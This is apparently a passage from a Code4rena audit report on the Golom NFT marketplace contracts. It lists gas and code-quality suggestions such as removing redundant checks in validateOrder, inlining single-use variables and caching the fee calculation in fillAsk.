https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L1042 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L1044 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L1113 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L1115 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L1133 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L1134 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L1167 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L1169 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L1211
Simply remove the variable assignement to zero.
require
and if
checksIn the validateOrder
function, an if
check is present right after a require
check with the same condition meaning that the if
code will never be runned.
Remove either the require
check for getting the status return value of 0 or the if
check has it's dead code.
validateOrder
different status codes are not usedIn the validateOrder
function, different status code are returned depending on the reason for the invalidation of the order. However, this status codes are never used elsewhere appart for telling if the order is valid or not. This means all the checks could be done in one if
clause.
Consider using a single value (1 or 0 for valid/invalid) or boolean to remove unneccessary code.
Some variable are declared and assigned but only used once and could be inlined for gas savings.
https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L300-L301 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L303-L304 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L360-L361 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L363-L364
Remove the unnecessary variables and replace the variable name with the code directly.
On the contrary, some complex calculations could benefit from being stored in memory variables to prevent recalculating it every time it is used. One such occurence is the 0.5% fee calculation for the distributor in the fillAsk
function.
https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L212 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L242 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L254 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L263 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L269
Avoid duplicating complex calcuations and store them in memory variables instead.